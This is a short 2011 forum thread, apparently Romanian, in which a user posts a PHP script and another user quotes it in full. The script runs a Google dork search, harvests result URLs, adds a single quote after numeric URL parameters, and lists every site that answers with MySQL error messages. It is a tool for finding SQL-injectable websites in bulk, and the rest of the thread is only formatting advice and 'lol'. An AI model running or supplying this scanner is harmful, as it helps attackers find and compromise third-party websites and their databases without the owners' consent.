perl udp.pl Posted May 30, 2011 Report Share Posted May 30, 2011 (edited) <?phperror_reporting(0);ini_set('default_socket_timeout', 10);set_time_limit(0);function getLinksG($dork){$engine = 'http://google.pl';$code = file_get_contents("$engine/search?as_q=" . urlencode($dork) . "&num=100");for($i = 1; $i < 20; $i++)$code .= file_get_contents("$engine/search?as_q=" . urlencode($dork) . "&num=100&start=".$i."00&filter=0");preg_match_all('/<a href="([^ ]+)" class=l/ei', $code, $links);unset($code);$url = array();foreach($links[1] as $l => $u){if(!in_array($u, $url))array_push($url, $u);}return $url;}function checkBug($link){$code = file_get_contents("$link");if(stristr($code, 'mysql') || stristr($code, 'sql syntax'))return $link;return false;}function link2sql($link){$url = parse_url($link);if(!empty($url['query'])){$query = preg_replace('/\=([0-9]+)/', "=\\1'", $url['query']);return checkBug("http://{$url['host']}{$url['path']}?$query");}return false;}echo "<pre>";$li = getLinksG($_GET['d']);foreach( $li as $k => $l){$b = link2sql($l);if($b != false) echo "$b\n";flush(stdout);}?> Edited May 30, 2011 by perl udp.pl Quote Link to comment Share on other sites More sharing options...
nedo Posted May 30, 2011 Report Share Posted May 30, 2011 Pune codul intre [ code] [ / code] Fara spatii Quote Link to comment Share on other sites More sharing options...
crs12decoder Posted May 30, 2011 Report Share Posted May 30, 2011 Pune codul intre [ code] [ / code] Fara spatii<=><?phperror_reporting(0);ini_set('default_socket_timeout', 10);set_time_limit(0);function getLinksG($dork){$engine = 'http://google.pl';$code = file_get_contents("$engine/search?as_q=" . urlencode($dork) . "&num=100");for($i = 1; $i < 20; $i++)$code .= file_get_contents("$engine/search?as_q=" . urlencode($dork) . "&num=100&start=".$i."00&filter=0");preg_match_all('/<a href="([^ ]+)" class=l/ei', $code, $links);unset($code);$url = array();foreach($links[1] as $l => $u){if(!in_array($u, $url))array_push($url, $u);}return $url;}function checkBug($link){$code = file_get_contents("$link");if(stristr($code, 'mysql') || stristr($code, 'sql syntax'))return $link;return false;}function link2sql($link){$url = parse_url($link);if(!empty($url['query'])){$query = preg_replace('/\=([0-9]+)/', "=\\1'", $url['query']);return checkBug("http://{$url['host']}{$url['path']}?$query");}return false;}echo "<pre>";$li = getLinksG($_GET['d']);foreach( $li as $k => $l){$b = link2sql($l);if($b != false) echo "$b\n";flush(stdout);}?> Quote Link to comment Share on other sites More sharing options...
WG_eagle Posted July 28, 2011 Report Share Posted July 28, 2011 lol lololol Quote Link to comment Share on other sites More sharing options...